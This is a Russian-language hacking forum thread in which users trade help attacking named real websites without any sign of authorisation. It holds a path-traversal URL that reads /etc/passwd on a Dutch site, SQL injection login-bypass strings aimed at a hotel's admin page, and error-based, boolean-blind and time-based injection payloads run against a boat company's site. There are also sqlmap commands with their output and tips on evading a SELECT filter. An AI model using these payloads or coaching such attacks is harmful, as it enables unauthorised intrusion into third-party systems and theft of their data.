Notice: Undefined index: lang_locale in /var/www/smf/Sources/Subs.php on line 868

zuzzz

19.06.2015, 07:22

huntercs16 said:
↑ (https://antichat.live/posts/3860279/)
В общем у меня 3 сайта pma с пороно))
Один на load_file passwd возвращает
726f6f743a783a303a303a726f6f743a2f726f6f743a2f6269 6e2f626173680a62696e3a783a313a313a62696e3a2f62696e 2e2e2e
Второй Blob

Все нормально тебе возвращается. И через файлы можно получить путь до сайта. В каких файлах надо искать зависит от ОС и веб сервера.

Filipp

21.06.2015, 12:50

Хочу посмотреть логи сервера, и как я понял к каждому сайту есть свой конфиг. В основном конфиге есть такая строчка

include vhost/*.conf .. Т.е все файлы с расширением conf, могу ли я подобрать имена файлов через читалку load_file (mysql)?

zuzzz

22.06.2015, 08:58

Filipp said:
↑ (https://antichat.live/posts/3861006/)
Хочу посмотреть логи сервера, и как я понял к каждому сайту есть свой конфиг. В основном конфиге есть такая строчка
include vhost/*.conf .. Т.е все файлы с расширением conf, могу ли я подобрать имена файлов через читалку load_file (mysql)?

Возможно, но наверно только путем перебора. Если имена сайтов на этом сервере известны, то пробуй вначале варианты этих имен. К примеру есть сайт site.com, то пробуй открыть site_com.conf, site.conf, site.com.conf и т.п.

Xsite

22.06.2015, 17:08

Как залиться ?

Погуглил про lfi+phpinfo

lekkeradverteren.nl/ioncube/loader-wizard.php?page=phpinfo

Это как я понимаю lfi http://lekkeradverteren.nl/ioncube/...me=../../../../../../../etc/passwd&download=1 (http://lekkeradverteren.nl/ioncube/loader-wizard.php?page=phpconfig&ininame=../../../../../../../etc/passwd&download=1)

Вообщем вопрос к знатокам ,как залиться ? Пробовал скриптом от Pashkela (https://rdot.net/forum/member.php?u=62) ,не получилось.

faza02

22.06.2015, 17:48

Xsite said:
↑ (https://antichat.live/posts/3861384/)
Как залиться ?
Погуглил про lfi+phpinfo
lekkeradverteren.nl/ioncube/loader-wizard.php?page=phpinfo
Это как я понимаю lfi
http://lekkeradverteren.nl/ioncube/...me=../../../../../../../etc/passwd&download=1 (http://lekkeradverteren.nl/ioncube/loader-wizard.php?page=phpconfig&ininame=../../../../../../../etc/passwd&download=1)
Вообщем вопрос к знатокам ,как залиться ? Пробовал скриптом от
Pashkela (https://rdot.net/forum/member.php?u=62)
,не получилось.

это AFD: Arbitrary File Download, а не LFI

Muracha

22.06.2015, 18:37

сайт http://www.bogema-hotel.ru/access_admin.php - с уязвимой админкой.

Вставляю в login "admin ' or '1' =1/*" Перебираю варианты - ' or '1' =1-- но результата не достигаю.

Спустя час решил написать сюда.

Почему так? Фильтрация или неверно заданный запрос? Хотя делал все по авторской статье.

YaBtr

22.06.2015, 18:49

По какой это статье вы делаете?

frank

22.06.2015, 18:59

YaBtr said:
↑ (https://antichat.live/posts/3861417/)
По какой это статье вы делаете?

Что-то мне подсказывает что вот эту

Code:
https://rdot.org/forum/showthread.php?t=124

ну или она же тут, на ачате

Code:
/threads/43966/

и скорее всего пробует пункт 1.3 Уязвимы поле логин и пароль, обход авторазации

Muracha

22.06.2015, 19:23

Именно по ней. Именно по пункту 1.3 подставляя в поле логин и пароль соотвественно.

Но даже если просто в пароль не давало результата и сообщения об ошибке ,если писал в логин

Code:
Admin' --

и

Code:
Admin' --

YaBtr

22.06.2015, 19:30

Инъекция присутствует. Пробуйте далее. Если нагрузка с обходом авторизации не проходит, попробуйте другие вектора.

kingbeef

22.06.2015, 19:32

Можно спокойно крутить error based.

Muracha

22.06.2015, 20:22

Другой вектор:

Такой же сдвиг cms

Code:
http://www.kazanboats.ru/index.php?id=59"+(1)and(select+1+from(select+count(*),concat((sele ct+table_name+from+information_schema.tables+limit +0,1),floor(rand(0)*2))x+from+information_schema.t ables+group+by+x)a)--

- пишет hek

Code:
http://www.kazanboats.ru/index.php?id=59%20+%281%29and%28+1+from%28+count%2 8*%29,concat%28%28+table_name+from+information_sch ema.tables+limit+0,1%29,floor%28rand%280%29*2%29%2 9x+from+information_schema.tables+group+by+x%29a%2 9--

Выбрасывает на страницу

Пробую замаркировать select при помощи concat - но не получается. Возможно, неправильно формирую запрос.

Сейчас пытаюсь просто найти кол-во таблиц - http://www.kazanboats.ru/index.php?id=59'+order+by+1000/* (http://www.kazanboats.ru/index.php?id=59%27+order+by+1000/*) и http://www.kazanboats.ru/index.php?id=59'+order+by+1/* (http://www.kazanboats.ru/index.php?id=59%27+order+by+1/*)

Выдает одинаковый результат. Явно слепая иньекция.

Но если убрать кавычки или минус перед 59 - страница появляется.

Подскажи с самого простого, с поиска кол-ва таблиц.

Нужно шифровать запрос? order+by?

grimnir

22.06.2015, 20:35

Muracha said:
↑ (https://antichat.live/posts/3861455/)
Выдает одинаковый результат. Явно слепая иньекция.

2 вектора тут:

boolean-based blind

http://www.kazanboats.ru/index.php?id=59' AND 5063=5063 AND 'tviX'='tviX

time-based blind

http://www.kazanboats.ru/index.php?id=59' AND SLEEP(5) AND 'ogpP'='ogpP

база etyle2_kazboats

Muracha

22.06.2015, 20:38

Объясните, пожалуйста, почему так?

Почему "5063" и "tviX"?

grimnir

22.06.2015, 20:41

Muracha said:
↑ (https://antichat.live/posts/3861464/)
Объясните, пожалуйста, почему так?
Почему "5063" и "tviX"?

можно было написать и AND 1=1 AND 'Hack'='Hack

Посмотрите для лучшего понимания видео

и статья http://voice0fblackhat.blogspot.se/2012/01/detailed-boolean-based-blind-injection.html

faza02

22.06.2015, 21:17

Muracha said:
↑ (https://antichat.live/posts/3861464/)
Объясните, пожалуйста, почему так?
Почему "5063" и "tviX"?

это sqlmap так выдает.

у вас фильтр на SELECT, и не в запросе в базу, а в POST/GET/COOKIE запросах. подобрать вектор вряд ли удастся, SELECT нужен везде.

Muracha

22.06.2015, 22:08

Последний раз я этим занимался лет 7 назад. По необходимости. Потом забросил.

Пришлось вернуться и столько много всего..вектора, новые методы атак. Новые приложения.

Все руками делал, а сейчас с помощью программы вытаскивать данные не составляет проблемы.

Все так упрощенно и просто.

В целом, я разобрался с этим.

Но вопрос с админкой - остался открытым.

Как обойти фильтрацию, если "Admin' --" не принимает? и тому подобное.

Muracha

23.06.2015, 10:48

Не могу выдернуть список таблиц.

Запрос стандартный

root@localhost:~# sqlmap -u "http://www.kazanboats.ru/index.php?id=59" --tables -D etyle2_kazboats

и такой

root@localhost:~# sqlmap -u "http://www.kazanboats.ru/index.php?id=59" --tables -D --no-cast etyle2_kazboats

Программа перебирает таблицы из словаря и пишет, что они не найдены.

Неужели оттого, что фильтруется select?

Code:
root@localhost:~# sqlmap -u "http://www.kazanboats.ru/index.php?id=59" --tables -D --no-cast etyle2_kazboats

sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

starting at 09:36:54

[09:36:55] [INFO] resuming back-end DBMS 'mysql'
[09:36:55] [INFO] testing connection to the target URL
[09:36:55] [INFO] heuristics detected web page charset 'windows-1251'
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=59' AND 2198=2198 AND 'naaT'='naaT

Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=59' AND SLEEP(5) AND 'GtmX'='GtmX
---
[09:36:55] [INFO] the back-end DBMS is MySQL
web application technology: Nginx, PHP 5.3.29
back-end DBMS: MySQL 5.0.11
[09:36:55] [INFO] fetching tables for database: '--no-cast'
[09:36:55] [INFO] fetching number of tables for database '--no-cast'
[09:36:55] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[09:36:55] [INFO] retrieved:
[09:36:56] [WARNING] time-based comparison requires larger statistical model, please wait...........................
[09:37:07] [WARNING] it is very important not to stress the network adapter during usage of time-based payloads to prevent potential errors

[09:37:07] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
[09:37:07] [WARNING] unable to retrieve the number of tables for database '--no-cast'
[09:37:07] [ERROR] unable to retrieve the table names for any database
do you want to use common table existence check? [y/N/q] N
No tables found
[09:37:11] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/www.kazanboats.ru'

shutting down at 09:37:11

faza02

23.06.2015, 11:18

Muracha said:
↑ (https://antichat.live/posts/3861581/)
Не могу выдернуть список таблиц.
Запрос стандартный
root@localhost:~# sqlmap -u "
http://www.kazanboats.ru/index.php?id=59
" --tables -D etyle2_kazboats
и такой
root@localhost:~# sqlmap -u "
http://www.kazanboats.ru/index.php?id=59
" --tables -D --no-cast etyle2_kazboats
Программа перебирает таблицы из словаря и пишет, что они не найдены.
Неужели оттого, что фильтруется select?

Code:
root@localhost:~# sqlmap -u "http://www.kazanboats.ru/index.php?id=59" --tables -D --no-cast etyle2_kazboats

sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

starting at 09:36:54

[09:36:55] [INFO] resuming back-end DBMS 'mysql'
[09:36:55] [INFO] testing connection to the target URL
[09:36:55] [INFO] heuristics detected web page charset 'windows-1251'
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=59' AND 2198=2198 AND 'naaT'='naaT

Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=59' AND SLEEP(5) AND 'GtmX'='GtmX
---
[09:36:55] [INFO] the back-end DBMS is MySQL
web application technology: Nginx, PHP 5.3.29
back-end DBMS: MySQL 5.0.11
[09:36:55] [INFO] fetching tables for database: '--no-cast'
[09:36:55] [INFO] fetching number of tables for database '--no-cast'
[09:36:55] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[09:36:55] [INFO] retrieved:
[09:36:56] [WARNING] time-based comparison requires larger statistical model, please wait...........................
[09:37:07] [WARNING] it is very important not to stress the network adapter during usage of time-based payloads to prevent potential errors

[09:37:07] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
[09:37:07] [WARNING] unable to retrieve the number of tables for database '--no-cast'
[09:37:07] [ERROR] unable to retrieve the table names for any database
do you want to use common table existence check? [y/N/q] N
No tables found
[09:37:11] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/www.kazanboats.ru'

shutting down at 09:37:11

чтобы вывести имя бд SELECT не нужен, просто database() или schema(). а для вывода таблиц через blind синтаксис только с SELECT. вы же из базы достаете информацию, куда вы без выборки? я пробовал обойти - не выходит